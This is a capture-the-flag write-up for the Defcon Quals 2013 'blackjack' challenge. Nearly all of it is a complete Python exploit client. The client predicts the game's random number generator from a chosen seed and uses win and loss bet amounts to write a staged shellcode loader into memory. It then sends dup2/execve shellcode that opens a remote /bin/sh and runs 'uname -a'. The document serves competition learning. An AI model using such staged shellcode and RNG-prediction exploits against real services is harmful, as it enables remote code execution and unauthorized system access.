Defcon CTF Quals 2013 - \xff\xe4\xcc 200 (blackjack)
30 June 2013 by mfDownload problem: Here
This program wants us to play blackjack. Every win or loss that we score is stored inside an array and, if we manage to score 1337 points at the end, is executed by the program. The seed used by the random number generator is controlled by us, which enables us to build a local simulator which predicts wins/losses.
Shellcode is inserted by the program in the following way: if we win, than the inserted byte is betting_amount
, and if we loose the inserted byte is -betting_ammount
. We control the seed to the random number generator used by the problem with supplying the appropriate name, when asked. However, the following solution is able to use any seed, given that the chosen seed enables us to win the first couple of rounds to rake in some monies.
Since injecting shellcode takes time, we minimize the amount of code needed. We do this by first injecting a small stage which fetches and executes a second stage from the established connection.
The following code represents the complete blackjack-playing client.
import socket
import struct
from ctypes import *
import random
libc = cdll.LoadLibrary("libc.so.6")
# We can work with any seed, given that we are able to win a few first rounds
seed = 0x41414142
rand_cnt = 0
libc.srand(seed)
def get_until(sock, delim):
s = ""
c = ""
while not s.endswith(delim):
c = sock.recv(1)
s += c
return s[:-len(delim)].strip()
def get_line(sock):
return get_until(sock, "\n")
def calc_hand(hand):
val = 0
ases = 0
for c in hand:
if c == 11:
ases += 1
val += c
if val > 21:
# Go over ases
for x in range(0, ases):
val -= 10
if val <= 20:
break
return val
def reset_rng(seed, cnt):
# Yucky, but works
global rand_cnt
libc.srand(seed)
for x in range(0, cnt):
libc.rand()
rand_cnt = cnt
def peek_card():
card = draw_card()
# Reset rand to where it was before we drew the card.
reset_rng(seed, rand_cnt - 1)
return card
def draw_card():
global rand_cnt
card = libc.rand() % 13 + 1
rand_cnt += 1
if card == 1:
return 11
elif card == 11 or card == 12 or card == 13:
return 10
else:
return card
def look_into_future():
"""
Look one round into the future, and tell us the result
"""
player_wins = 0
num_dealer_drawn = 0
num_user_drawn = 0
user_hand = []
dealer_hand = []
# Draw 4 initial cards
user_hand.append(draw_card())
dealer_hand.append(draw_card())
user_hand.append(draw_card())
dealer_hand.append(draw_card())
# Max out our sum, but stay <= 21
while 1:
print "[SIM] User: ", user_hand, " Total: ", calc_hand(user_hand)
if calc_hand(user_hand) == 21:
print "[SIM] Got Blackjack"
break
new_card = peek_card()
future_hand = user_hand + [new_card]
if calc_hand(future_hand) > 21:
print "[SIM] You'd overshoot"
break
else:
# Next card is not over 21
print "[SIM] You draw"
num_user_drawn += 1
user_hand.append(draw_card())
user_hand_val = calc_hand(user_hand)
# After this point, we have maximized our possible winnings. Let's see
# how the dealer does
while 1:
print "[SIM] Dealer: ", dealer_hand, " Total: ", calc_hand(dealer_hand)
if calc_hand(dealer_hand) > 21:
# Dealer overshot
print "[SIM] Dealer overshot"
break
if calc_hand(dealer_hand) > 16:
# Dealer will stand if value is larger than 16
print "[SIM] Dealer stands"
break
dealer_hand.append(draw_card())
print "[SIM] Dealer draws"
num_dealer_drawn += 1
dealer_hand_val = calc_hand(dealer_hand)
print "[SIM] Dealer: ", dealer_hand
print "[SIM] Player: ", user_hand
# Decision rules. Taken verbatim from the binary
if user_hand_val == 21 and dealer_hand_val != 21:
player_wins = 1
elif user_hand_val != 21 and dealer_hand_val == 21:
player_wins = 0
elif user_hand_val > 21:
player_wins = 0
elif dealer_hand_val > 21:
player_wins = 1
elif user_hand_val > dealer_hand_val:
player_wins = 1
elif user_hand_val < dealer_hand_val:
player_wins = 0
elif user_hand_val == dealer_hand_val:
player_wins = -1
if player_wins == 1:
print "[SIM] You win in %d draws" % (num_user_drawn)
elif player_wins == 0:
print "[SIM] You loose"
else:
print "[SIM] Draw"
return player_wins, num_user_drawn, num_dealer_drawn
def predict_sequence(seq):
"""
Looks into the future len(seq) rounds and checks if the sequence of wins/losses matches
the one we want
"""
matched = 0
x = 0
old_cnt = rand_cnt
while x < len(seq):
player_wins, user_drawn, dealer_drawn = look_into_future()
if player_wins == -1:
# It will be a draw
continue
elif player_wins == seq[x]:
# The outcome matches what we want, go to next one
matched += 1
x += 1
else:
# Mismatch
break
# Restore rng
reset_rng(seed, old_cnt)
print "Matched: ", matched
return matched
def play_single_round(bet_val, hit_num):
"""
Plays single round
"""
status = 0
get_until(s, "You have $")
# Money status
m = int(get_line(s))
print "Money: ", m
# Wait until bet
get_until(s, "How much would you like to bet (-1 to exit)? ")
# Send bet
s.send(str(bet_val) + "\n")
# Get two lines of statuses
game_dealer = get_line(s)
game_player = get_line(s)
print "[GAM] Dealer: ", game_dealer
print "[GAM] Player: ", game_player
# Make decision
get_until(s, "Hit or Stand (H/S)? ")
# Hit as many times as hit_num specifies
while hit_num:
print "Hitting"
s.send("H\n")
game_player = get_line(s)
print game_player
hit_num -= 1
print "Standing"
print s.send("S\n")
while 1:
line = get_line(s)
print line
if line == "You win!":
print "[GAM] WIN"
m += bet_val
status = 1
break
elif line == "You lose!":
print "[GAM] LOSS"
m -= bet_val
status = 0
break
elif line == "It's a draw.":
print "[GAM] DRAW"
status = -1
break
if status == 0 and bet_val == 127:
# Deal with the waitress
get_until(s, "Would you like to tip $1 (y/n)? ")
s.send("y\n")
# Consume one line
get_line(s)
# Waitress invokes rand() three times, so let's update our rand() state
draw_card()
draw_card()
draw_card()
# Return amount of money we have at the moment
return m
def play_blackjack(s, rounds=None, play_until=None):
"""
Plays blackjack for a certain amount of rounds, or until we reach
our desired winnings. We always try to maximize our winnings here
"""
cnt = 0
m = 0
p = 0
while 1:
bet_val = 0
if rounds == cnt:
return
if play_until and m == play_until:
return
player_wins, user_drawn, dealer_drawn = look_into_future()
if player_wins:
print "Betting high"
if play_until:
if play_until < m:
# Bet low, we need to loose money, not win
bet_val = 1
elif play_until - m >= 0x47:
# 0x47 => inc edi (a nop command)
bet_val = 0x47
else:
bet_val = play_until - m
else:
bet_val = 0x47
else:
print "Betting low"
# 0xFD => cld (a nop command)
if play_until < m:
# Bet high, we need to loose money
bet_val = 120
else:
bet_val = 3
print "=====BET " , hex(bet_val)
# Ok, let's play out this round
m = play_single_round(bet_val, user_drawn)
cnt += 1
def plant_shellcode(s, payload=None):
"""
Make sure there are non 0-bytes in the payload!
"""
p = 0
# Iterate over all instructions in our payload
for instr in payload:
seq = []
# Convert bytes to sequence of wins/losses
for b in instr[0]:
val = struct.unpack("b", b)[0]
if val > 0:
# Positive value, so we want a win
seq.append(1)
elif val < 0:
# Negative value, so we want a loose
seq.append(0)
while predict_sequence(seq) != len(instr[0]):
# Keep padding with nop's until we find a sequence of wins/losses which
# matches our current instruction
player_wins, user_drawn, dealer_drawn = look_into_future()
if player_wins:
print "Betting high"
# 0x47 => inc edi (a nop command)
bet_val = 0x37
else:
print "Betting low"
# 0xFD => cld (a nop command)
bet_val = 3
# Play out this round
play_single_round(bet_val, user_drawn)
# We found a sequence which matches, let's put the shellcode instruction in...
x = 0
while x < len(instr[0]):
player_wins, user_drawn, dealer_drawn = look_into_future()
val = struct.unpack("b", instr[0][x])[0]
print " BET " , abs(val)
if player_wins != -1:
# No draw was had, move one byte onwards
x += 1
play_single_round(abs(val), user_drawn)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 6789))
# Send seed
get_until(s, "Got a name? ")
s.send(struct.pack("I", seed) + "\n")
# Our first stage. Reads 255 bytes of second stage and jumps to it
sc = [
["\x31\xdb"], # xor %ebx,%ebx
["\x31\xc0"], # xor %eax,%eax
["\x31\xd2"], # xor %edx,%edx
["\xb3\x04"], # mov $0x4,%bl
["\xb9\x20\xc2\x04\x08"], # mov $0x804c220,%ecx
["\xb2\xff"], # mov $0xff,%dl
["\xb0\x03"], # mov $0x3,%al
["\xcd\x81"], # int $0x81 (Changed int 0x80 to 0x81. It is fixed by our waitress
["\xb9\x20\xc2\x04\x08"], # mov $0x804c220,%ecx
["\xff\xd1"], # call *%ecx
]
plant_shellcode(s, payload=sc)
# Keep playing until 1337
play_blackjack(s, play_until=1337)
s.send("-1\n")
# dup() + execv() shellcode
stage = "\x31\xc9\x6a\x04\x5b\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
s.send(stage + (0xff - len(stage))*"A")
# Consume junk
s.recv(10*1024)
# Boom.
s.send("uname -a\n")
print s.recv(1024)